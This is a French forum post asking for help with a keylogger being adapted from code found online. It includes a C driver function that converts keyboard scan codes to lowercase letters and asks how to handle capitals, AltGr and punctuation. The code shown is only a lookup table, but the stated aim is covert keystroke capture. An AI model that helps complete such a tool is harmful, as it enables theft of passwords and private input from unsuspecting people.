Salut,
Je suis en train de faire un keylogger. En fait j'ai trouvé du code sur le net et je suis en train de l'adapter.
Je souhaite convertir proprement les codes correspondant au frappes clavier en caractère.
Pour l'instant, j'ai une fonction simple qui ne convertit que les codes correspondant aux lettres de l'alphabet en miniscule.
Le code de cette fonction est ci-dessous.
Je voudrais savoir comment détecter les combinaisons de touches pour les lettres en majiscule, les Alt Gr machin, les signes de ponctuation ....
Est ce que vous pouvez m'aider?
Merki
//This function is to be improved
VOID ConvertScanCodeToKeyCode(USHORT KeyData, char* keys){
DbgPrint("..... ConvertScanCodeToKeyCode.....\n");
switch (KeyData){
case (0x10):
strcpy (keys, "a");
DbgPrint("test keys: %s\n", keys);
break;
case (0x11):
strcpy (keys, "z");
DbgPrint("test keys: %s\n", keys);
break;
case (0x12):
strcpy (keys, "e");
DbgPrint("test keys: %s\n", keys);
break;
case (0x13):
strcpy (keys, "r");
DbgPrint("test keys: %s\n", keys);
break;
case (0x14):
strcpy (keys, "t");
DbgPrint("test keys: %s\n", keys);
break;
case (0x15):
strcpy (keys, "y");
DbgPrint("test keys: %s\n", keys);
break;
case (0x16):
strcpy (keys, "u");
DbgPrint("test keys: %s\n", keys);
break;
case (0x17):
strcpy (keys, "i");
DbgPrint("test keys: %s\n", keys);
break;
case (0x18):
strcpy (keys, "o");
DbgPrint("test keys: %s\n", keys);
break;
case (0x19):
strcpy (keys, "p");
DbgPrint("test keys: %s\n", keys);
break;
case (0x1e):
strcpy (keys, "q");
DbgPrint("test keys: %s\n", keys);
break;
case (0x1f):
strcpy (keys, "s");
DbgPrint("test keys: %s\n", keys);
break;
case (0x20):
strcpy (keys, "d");
DbgPrint("test keys: %s\n", keys);
break;
case (0x21):
strcpy (keys, "f");
DbgPrint("test keys: %s\n", keys);
break;
case (0x22):
strcpy (keys, "g");
DbgPrint("test keys: %s\n", keys);
break;
case (0x23):
strcpy (keys, "h");
DbgPrint("test keys: %s\n", keys);
break;
case (0x24):
strcpy (keys, "j");
DbgPrint("test keys: %s\n", keys);
break;
case (0x25):
strcpy (keys, "k");
DbgPrint("test keys: %s\n", keys);
break;
case (0x26):
strcpy (keys, "l");
DbgPrint("test keys: %s\n", keys);
break;
case (0x27):
strcpy (keys, "m");
DbgPrint("test keys: %s\n", keys);
break;
case (0x2c):
strcpy (keys, "w");
DbgPrint("test keys: %s\n", keys);
break;
case (0x2d):
strcpy (keys, "x");
DbgPrint("test keys: %s\n", keys);
break;
case (0x2e):
strcpy (keys, "c");
DbgPrint("test keys: %s\n", keys);
break;
case (0x2f):
strcpy (keys, "v");
DbgPrint("test keys: %s\n", keys);
break;
case (0x30):
strcpy (keys, "b");
DbgPrint("test keys: %s\n", keys);
break;
case (0x31):
strcpy (keys, "n");
DbgPrint("test keys: %s\n", keys);
break;
}
DbgPrint("..... ConvertScanCodeToKeyCode.....\n");
}